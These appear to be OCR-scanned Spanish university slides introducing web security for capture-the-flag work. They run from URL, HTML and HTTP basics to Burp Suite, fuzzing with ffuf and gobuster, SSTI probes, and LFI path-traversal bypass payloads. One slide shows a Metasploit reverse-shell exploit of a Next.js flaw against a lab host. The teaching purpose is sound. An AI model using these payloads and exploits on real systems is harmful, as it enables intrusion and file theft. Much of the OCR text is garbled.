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URL: Uniform Resource Locator

e AU O 1)) ]

http:// www.example.com: 80 /path/to/myfile.ntml ?key1=value1&key2=value2 #SomewherelnTheDocument

Scheme Domain Name Port Path to the file Parameters L}Anchor

PARTES COMUNES:

* Scheme (protocolo) EJEMPLOS

* Authority (userinfo@host:port) * https://google.es/search?q=como+ganar+dinero

« Path: ruta al recurso « ftp://ftp.funet.fi/pub/doc/rfc/rfc1738.txt

« Parameters: pares clave- « mailto:raul.martin@urjc.es?subject=Que+aula+
valorfile://localhost/etc/passwd es

- Anchor: seccion espefifica de la pagina



Funcionamiento de una
pagina web
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Archivos esenciales en una web

Los archivos esenciales son 3, un lenguaje de marcado HTML, uno de estilo CSS y
otro funcional JavaScript

45

Sms——
HTM

i g

HTML + CSS

HTML + CSS + JAVA SCRIPT
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HTML: Hyper Text Markup Lenguage

HTML es un lenguaje de marcado, que se forma por etiquetas y texto plano.

html
lang="es"

charset="UTF-8"
name="viewport" content="width=device-width, initial-scale=1.0"
Solo HTML

Bienvenido a mi pdgina web
Este es un ejemplo basico de una pagina web utilizando solo HTML.




HTML: Hyper Text Markup Lenguage

© @ index.html (M Open with Arc

Bienvenido a mi pagina web

Este es un ejemplo bésico de una pagina web utilizando solo HTML.
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CSS: Cscading Styles Sheet

Se utiliza para dar estilo al contenido estructurado. También se puede usar con otros lenguajes
como XML o SBG

html
lang="es"

charset="UTF-8"

name="viewport" content="width=device-width, initial-scale=1.0"
HTML con CSS

rel="stylesheet" href="styles.css"

Bienvenido a mi pagina web
Este es un ejemplo basico de una pagina web utilizando HTML y CSS.
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CSS: Cscading Styles Sheet

Se utiliza para dar estilo al contenido estructurado. También se puede usar con otros lenguajes
como XML o SBG

hl {
color: M#6l1ldafb;
font-size: 3em;
text-transform: uppercase;
letter-spacing: 5px;

body { border-bottom: 2px solid M#61dafb;
font-family: 'Helvetica Neue', Arial, sans-serif; padding-bottom: 1@px;

background-color: [O#282c34; margin-bottom: 20px;
color: M#fff;

margin: 0;

padding: @;

display: flex;

flex—-direction: column; color: M#b0Obec5;
justify-content: center; font-size: 1.5em:

align-items: center; max-width: 600px;
height: 10@vh;

text-align: center;

line-height: 1.6;

margin: 20px;

border-left: 4px solid M#61dafb;
padding-left: 15px;

box-shadow: @ 4px 1@px Orgba(o, @, 0,




BIENVENIDO A MI PAGINA WEB

Este es un ejemplo basico de una pagina web
utilizando HTML y CSS.
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JavaScript

JavaScript es un lenguaje de programacion dinamico que permite agregar interactividad y
funcionalidades complejas a las paginas web

html

lang=""es"
Math Class

1 =1 - ‘é charset="UTF-8"
| - | name="viewport" content="width=device-width, initial-scale=1.0"
HTML, CSS y JavaScript
rel="stylesheet" href="styles.css"

Haz clic en este titulo
Este es un ejemplo basico de una pagina web utilizando HTML, CSS y JavaScript.

src="script.js"
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JavaScript

JavaScript es un lenguaje de programacion dinamico que permite agregar interactividad y
funcionalidades complejas a las paginas web

cambiarColor() {
titulo = document.querySelector('hl');
titulo.style.color = titulo.style.color === 'blue' ? '#6ldafb' : 'blue';

document.querySelector('hl').addEventListener('click', cambiarColor);




=
L1l

Lniversidad
Rey Juan Carlos

Javarip

HAZ CLIC EN ESTE TITULO

Este es un ejemplo basico de una pagina web
utilizando HTML, CSS y JavaScript.
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ROBOTS.TXT

(=]

¢ Esun archivo de texto sencillo cuya € C %% urjces/robots.ixt

L)

Unica funcion es la de indicar a los
rastreadores, bots e inteligencias

artificiales los directorios y rutas a los

gue no pueden acceder.

En CTFs permite conocer rutas ocultas o

expuestas de manera involuntaria

Robots.txt

User-agent: *

Disallow: Q
Allow: 0

Sitemap: ’wji
E%ESH

User-agent: #
Crawl-delay: 1@

Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:
Disallow:

JSadministrator/
Sbin/

fcache/

Seliyf
Jcomponents/
JSincludes/
JSinstallation/
flanguage/
/layouts/
flibraries/
/logs/

Smedia/
JSmodules/
/plugins/
ftemplates/
/tmp/
fimages/Intranet/
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¢Para qué sirven?

o Un framework es una estructura o plantilla conceptual y tecnoldgica que ofrece una
base predefinida de herramientas, bibliotecas y reglas para desarrollar software.

o Permiten aligerar y facilitar mucho la creacion de webs.
o De cara a ciberseguridad. Saber qué frameworks o elementos extra utiliza una pagina

nos da una gran ventaja sobre qué comportamiento o potenciales vulnerabilidades va a
tener.

LEARNING DATA
STRUCTURES AND
ALGORITHMS

LEARNING A NE
FRAMEWORK

BRUSURE HOPE IT DOES
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SSTI: Server-side Template Injection

FLASKY JINJA2

Es una vulnerabilidad que ocurre cuando el servidor confunde {TEMPI.ATES}
el input del usuario con codigo legitimo del motor de g
plantillas (Jinja, Twig, Spring, etc.). Y, por tanto, lo ejecuta. e

A "g

{In) =

PHP

SSTI (Server-Side Template Injection) -CTF

g Python / Flask (Jinja2) > PHP / Symfony (Twig)

Buscador | {{7*7}} ] Buscador | {{7*7}}

Resultado: 49 Resultado: 49

\ {L; Ruby on Rails (ERB)

th:text="${7*7}" o 5{7*7} Q Buscador | <%= 77*1 %>

49 | 49
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Formas de analizar el framework: wappalyzer

TECNOLOGIAS MAS INFORMACION

Tipografia Librerias JavaScript
B Google Font API © Sswiper

° Wappalyzer - Technology profiler

& wappalyzer.com () Destacado 4,0 (2 milvaloraciones) ) < Compartir

8 Bootstrap Icons

Extension DevTools  3.000.000 usuarios

Herramienta de Cache

<
@ Isotope
A

'.' Varnish 1.1

Ecommerce Paas
i CDN

Analytics

i O Fastly

() GitHub Pages

Javascript frameworks

v

Ul Frameworks

Web servers

G .
Q Animate.css

3 Bootstrap

Publicidad no remunerada :(



ali Forums

o Kali NetHunter Exploit-DB

ine within

parameters

Google Hacking DB

Servidor Web

o s 1 Q Nextijs

Generador de sitios estiticos
Framework Web O nexts

@ Nextjs
Rendimiento

WA Priority H

See website technologies in your CRM

Add website technology data to HubSpot, Salesforce, or Pipedrive so

your team can prioritize accounts and personalize outreach faster.

next.js 15.0.3 cve x Q

Tode Videos MNoticias Imagenes Maps Libros Herramientas de bus:

github.com » pkrasulia » CVE-2025-55182-Next]5-...
GitHub - pkrasulia/CVE-2025-55182-Next]S-RCE-PoC: Working

Working Proof of Concept (PoC) for CVE-2025-55182 (React2Shell} - Unauthenticated
Remote Code Execution in Next.js 15.0.0 via React Server Components ...

msfconsole
msf > search n

Matching Modules

Full Name Disclosure Date Rank Check Name

auxiliary/scanner/http/nextjs_middleware_auth_bypass normal Yes I Middleware Authorization Bypass Scanner
exploit/multi/http/react2shell_unauth_rce_cve_2025_55182 excellent Yes Unauthenticated RCE in React Server Components (React2Shell)
\_ target ix Command - g 5 5
\_ target ndows Command
\_ target: Waku - Unix Command

\_ target: Waku - Windows Command

Interact with a module by name or index. For example info 5, use P t2shell_unauth_rce_cve
After interacting with a module you can manually set a TARGET with se Command'

msf > use 1
[*] Using configured payload cmd/unix/reverse_nodejs
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RHOSTS http://reactor.htb:3000/
RHOSTS => http://reactor.htb:3000/
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > check
13000 - The target appears to be vulnerabl

msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > exploit
[-] Msf::OptionvalidateError One or more options failed to validate: LHOST.
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set LHOST 10.10.14.86

ST = 10.10.14.86
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > exploit
[*] Started reverse TCP handler on 10.10.14 L4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (10.10.14.86:4444 — 10.129.134.49:52098) at 2026-10-16 00:

ls
app
next.config.
node_modules
package. json
package-lock
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Formas de analizar el framework: Whatweb

tldr whatweb

Escaner web de nueva generacion.
Mas informacion: <https://github.com/urbanadventurer/WhatWeb#usage>.

Escanea sitios web/objetivos en busca de tecnologias web:

whatweb websitel website? ...

Lee objetivos/sitios web desde un archivo:
whatweb —input-file archivo objetivos

Analiza un sitio web/objetivo en modo detallado:
whatweb -—verbose example.com

Ejecuta un escaneo agresivo en un sitio web:
whatweb --aggression 3 example.com

Escanea una red y suprime los errores:
whatweb --no-errors 192.168.0.0/24

Lista de complementos:
whatweb --list-plugins

Lista de complementos:

whatweb -—info-plugins nombre del complemento

whatweb google.com
http://google.com [301 Moved Permanently] Country[UNITED STATES][US], HTTPServer[gws], IP[216.58.204.174], Redirectlocation[http://wmi.google.com/], Title[301 Moved], UncommonHeaders[content-security-policy-re
port-only], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0]
https://google.com [301 Moved Permanently] Country[UNITED STATES][uUS], HTTPServer[gws], IP[216.58.204.174], RedirectlLocation[https://wmn.google.com/], Title[301 Moved], UncommonHeaders[content-security-policy-
report-only,alt-svc], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[@]
http://ww .google.com/ [200 OK] Cookies[AEC], Country[UNITED STATES][US], HTML5, HTTPServer[gws], Httponly[AEC], IP[142.251.152.119], Script, Title[Google], UncommonHeaders[content-security-policy-report-only]
, X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0]
https://ww .google.com/ [200 OK] Cookies[AEC,SOCS,_ Secure-ENID], Country[UNITED STATES][US], HTML5, HTTPServer[gws], HttpOnly[AEC, Secure-ENID], IP[142.251.154.119], Script, Title[Google], UncommonHeaders[co
ntent-security-policy-report-only,accept-ch,alt-svc], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0]




HTTP y HTTPS
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Estos son los protocolos que hacen que la web funcione, la diferencia entre ellos es que HTTPS es
HTTP con TLS, es decir cifrado.

HTTPS va a anadir los siguientes pasos al HTTP
« Cifrar la peticion con una clave simétrica
« Enviar el mensaje

« El que reciba la peticion lo descifra con la misma clave simétrica

=9

USER INSECURE CONNECTION NORMALHTTP

111 ]
1l SSL
CERTIFICATE

USER ENCRYPTED CONNECTION SECURE HTTPS

9
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METODOS HTTPS

METODO PROPOSITO m (ESIDEMPOTENTE? TIPO

Obtener/leer un recurso Lectura

POST Crear un nuevo recurso NO NO Escritura
PUT Reemplazar un recurso NO S| Escritura
PATCH Modificar un recurso NO NO Escritura
DELETE Eliminar un recurso NO S Escritura
HEAD GET pero solo cabeceras S| S| Lectura

Consultar opciones del

OPTIONS .
servidor

SI SI Lectura



ENVIAR PARAMETROS

POR URL

https:/pagina.com?campo=valor

Método GET

EN EL CUERPO

{ "usuario": "user",
"email":"user@example.com",
"role":user...}

nombre=user&email=user%40
example.com&role=user

Métodos de Escritura

EN LAS
CABECERAS

Referer: google.com
Authorization: Bearer <token_jwt>

Content-Type: application/json

Cualquier Método
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Codigos de estado

¢ ERROR 4047 Ya iba tocando saber que significa

1XX
- I INFORMATIONAL HTTP Request

= == /\
3XX
REDIRECTION
4XX
CLIENT ERROR
5XX
SERVER ERROR HTTP Response

Mas informacién sobre los codigos de estado: https://developer.mozilla.org/es/docs/Web/HTTP/Status



https://developer.mozilla.org/es/docs/Web/HTTP/Status
https://developer.mozilla.org/es/docs/Web/HTTP/Status
https://developer.mozilla.org/es/docs/Web/HTTP/Status

Lniversidad
Rey Juan Carlos

erramientas

Burp Project Intruder Repeater View Help Burp Suite Professional v2026.3.3 - Temporary Project - licensed to Fr0st3 - 0o X
Dashboard Target Proxy *  Intruder Repeater Collaboratar Sequencer Decoder Comparer Logger Organizer Extensions Discover @ P @
Intercept ®  HTTP history ‘WebSockets history Match and replace @ Proxy settings

-+ Forward | ~ Drop v Request to https:/fwww.google.com:443 [142.251157.119] & @ Open browser @ i

Time Type  Direction Host Method URL Status code Length

0229:4316.. HTTP -+ Request www.google.com GET https://www.google.com/

Bl | R P S l ' I I E Request Inspector wnl = - X 2
Pretty Raw Hex N = Request attributes 2 v =
hel
1 GET / HTTP/L.1 ]
2 Host: www.google,con Request query parameters 0 v B
3 Cookie: _ Secure-ENID=
CtoCCAISAIBAQkeRVIH] 6BJkMwDunt fixeSc - p3nRKx IBULEDVYCST1- - 00besCCTsqnLTa- 0108yLSBTQLZEL 76wy OLNXd7d 1T rvgldMam_2cUNPISK1 1Y Kop4rnBwFuAVoSAXCLUCLWUO_ LxiWap JSAFZPRONIsHNKD] BU  Request body parameters 0 v
bdSh2Uuab0G0STHEk xH2Uq4nDMAT AK1 yR1s C1MIdKec VOATsDY SHTVGDT 71 CuMNzYEU QBLZNIZVn L8MKKM_PNFS]qHRp J89phvA7uafQIAGUCESAAUSY T EONSDCIZLEUZUKISZe K Y 4KGHIpFT - SUeSxkXdod AnASy_304SnkW3
WZTMBERNOHUFT Bpoi TZLyUNJHCKATYROFSbMSqNYiyt1GSsLY G CBCXASY rHAY Xvi fyLX01pUSNTs -T_FOs reVLIbFEYVdxmy0zDe3x0bEGKEOR- -_3 -S6CVFAW; SOCS= B
CAESMweF1 Zib3FFZ2VtalSpLXd1Yi11aXNcnZ]c 18y MOT2MT AwOCxNVSWMBOFZXMtRVMg AROGCTCAPTYG; _ Secure-BUCKET=CITD; NID= Requesticookies gy v
CUcCCAESMQIBOX GDSPP3NKT fwEHOr LKH2G00z ApuhSo9SAe 2wOVYL30v x5z 1k ELQUAAGCHO4PS O-cbLe Y1 - GboPa_SrXHaFSY7yBlBxYIzBnSYmQAMCABAZBNIxZOvIUNZGt XeXbz rTroy - 2MzIKSt FADg LqFaoTE3gRY luv DZ
s51JEzKFzwuOk DZUO2riBymy_NSCAwrTM3FCUSOk JS- CgQzzsU-HnXuBNzU24V74q28d00ERY BCTVwg 1smddW_YUJLjtoHu2CpCePL1RTBSwTBgqnhiivATNL Jh J4pcawqXgFHseBdFEb 4)g rkdpx4VpMsOTxWBy 442tpe JALSYA  Request headers " v a
HEHGAUTMcNa 452k AnLMuoX JHHI1XUr2py FtEK2MXIhCgBMkUBOqwHz z3ALOSZCwZ4] 1xZY Qe zuNRLI11I3- LPYWZ1GQ kViUYPOVWWIaST29eWHVb TEDBET X CPShSawCDbH1Mg9bpu28Qa; SID=
. a000DgmeZYTSPQG2pLqVdbDCANFT szCwpFl0590263hikBr-bhr7CT 4R6PUSCROT g 4eYuJUE_wACYYKACMSARMSFQHGK 2MiZ 4ELx xo NPwiWVp y Kbo ADzRo VAUFBy Kon3o 2oy e JTh2x NRRbHIPWADO7E; _ Secure-1PSID=
. a000DgmeZYTSPQG2pLqVdbDCANFT szCwpF1059Q263hikBr- bh r7ghy 1M VECU0S0SZK 2WKESWACY YK ANWSARMSFQHGXZML ] x1xLiH_mxWAFIYsgGDxoVAUF8yKoSBcS031xNBNuzvE]OnL7LOG76; _ Secure-3PSID=
g, a000DgmeZYTSPQG2pLVdbDCANFT szCwpF10590263hikBr- bhr7ovCeUHk G1ESSIMDOMQ4b ywACy YK Ae USARMSFQHGX ML VOL 7ETd 1_yS4vd8ts_V7PRoVAUFSyKoBG_0Y2aSAPIVw]6]5ILBh00T76; HSID=
ABdo1TVBAMzPDMTFM; SSID=ApMQ4QzXvgshutobM; APISID=aAlmmuOxeEbgs2VO/4 1A-sy14Re9QUqKa; SAPISID=yoJBRaGvFBLNLaIg/A7gN2Q4ESp1lCwwpD: _ Secure-1PAPISID=
yoJBRaGVFELNLAIq/AJgNEQ4ESpilCwwpD; _ Secure-3PAPISID=yoJBRaGVFBLNLAIQ/AjgNEQ4ESpilCwwpD; SIDCC=AKEyXzVGUhRwAhL-DimSv-asWQqilAjiunTslallbilakgqq7Pl-y1dSipFLEYBerECoQrTHoA;
Sartira-1PSTACC=EKEY Y71V WHaFNI 10k AH7ZHRRAL SERT GMINANMENTFafFHi0hGAANKT A1 7NESAn2ARNNNE . Gerlire-APSTRC =
@@ & 2 | Search P 0 highlights @
(® Memory: 166,1MB of 1,94GB WV

Event log (1) *  Allissues



FUZZING

u Universidad
Rey Juan Carlos



=
L1l

Liniversidad
Rey Juan Carlos

FUZZING

Fuzzing nos sirve para descubir directorios, parametros o demas campos de una pagina
web, por fuerza bruta

Si recordamos lo que es el codigo de estado, realizando peticiones a una
pagina web, podemos comprobar si un recurso existe o no.

Para ello existen diferentes herramientas: wfuzz, ffuz, dirb, gobuster.
Hoy os voy a hablar de la mas potente de ellas.

Wordlist recomendada: (...)/SecLists/Discovery/\Web-Content/common.txt

Gobuster (Universal Brute Force-tool)
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FUZZING: COMANDOS

Escaneo de directorios

ffuf -u https://ww.example.com/FUZZ -w ~/ctf/wordlists/SecLists/Discovery/Web-Content/common. txt

gobuster dir -u https://ww.example.com/ -w ~/ctf/wordlists/SecLists/Discovery/Web-Content/common.txt

ffuf -u https://example.com -H "Host: FUZZ.example.com" -w ~/ctf/wordlists/SecLists/Discovery/DNS/subdomains-topimillion-5000.txt

gobuster vhost -u https://example.com/ -w ~/ctf/wordlists/SecLists/Discovery/DNS/subdomains-topimillion-5000.txt --append-domain|

Escaneo de Hosts
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Cookies

me: *goes to a website for the first time*

the website:

¢, Qué son las Cookies?

* Pequenos archivos de texto que se almacenan en el
navegador del usuario.

* Crean un "registro" que ayuda a personalizar la
experiencia del usuario.

* Permiten otorgar permanencia en la web a las
preferencias del usuario.

 Informacién de inicio de sesion, estilo visual...
« Si sabes como se crearon y como las interpreta la

pagina: pueden manipularse, editarse o incluso
crear una nueva cookie
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Herramientas

R [0 Elements Console Sources Network Performance Memory  Application  Lighthouse

Application C Y Filter =
D Manifest Mame Value ’
ﬂ'(: Service workers _jsfiddle_session

@ Storage cf_clearance
[} webMcp csritoken
Ads 7 JSFIDDLE theme

Cookie Editor

whitelist-maodal
Storage
¥ B8 Local storage

¥ B8 Session storage
ik [0 Eements Console Sources MNetwork Performance Memory Application  Lighthouse

b B Extension storage
. icati Y Filt
@ Indexed DB 0 EjECUtBr CF‘J ®© Application C ilter

. D Manifest Name Value
hd @ Cookies = . o i
11 Service workers _jsfiddle_session
Jfick
@) https://jsfiddle.net B Storage e
@ Private state tokens D WebMCDP csritaken
[ == T _
s 5 | JSFIDDLE theme
whitelist-modal hidden
Storage

b EH Local storage
b EH Session storage
» EH Extension storage
B IndexedDB
= @ Cookies
© httpsi/fjsfiddlenet

@ Private state tokens
[ = R,
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LFI: Local File Inclusion

Es una vulnerabilidad web causada por una funcion mal implementada o sin
sanitizar que permite leer archivos locales en el servidor.

PATH TRAVERSAL: Si el archivo que queremos no esta en la misma carpeta que el archivo
mostrado por la pagina, deberemos movernos entre carpetas como si estuviéramos en una

terminal. Es decir, ".." representa el directorio/carpeta anterior.

cat archivo_mostrado.txt
Archivo que se mostraria en la padgina web. En una carpeta distinta al archivo objetivo.

cat secret.txt
cat: secret.txt: No existe el fichero o el directorio

cat ../ secret.txt

Path Traversal, Baby
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LFI: Identificacion

if(req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);

})s

<c:1f test="${not empty param.language}">

<jsp:include file="<%= request.getParameter('language') %>" />

<fc:if>

1f (isset($_GET['language'])) {
include($_GET[ 'language’']);
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LFI: BYPASS

Es comun que los programadores traten de sanitizar posibles LFI mediante el uso de
distintas técnicas. Segun su naturaleza, podemos plantear distintas vias alternativas para
conseguir enviar el mismo "payload".

Sanitizacion
str_replace('../", ", $page)
Bypass posible
?page=..../I....Il..../letc/passwd
O
?page=.../[.[...[.]...].Jetc/passwd

Sanitizacién
Blogueo de caracteres especiales
Bypass posible

URL Encoding doble: Codificar
los caracteres % dos veces.

%2ex2e%2f (simple) =
%252e%252e%252f (doble)

Sanitizacion
Extension de archivo forzada
include($_GET['page'] . ".php');
Bypass posible
(null byte injection)

?page=../..I../../etc/passwd %00




RETOS FINAL
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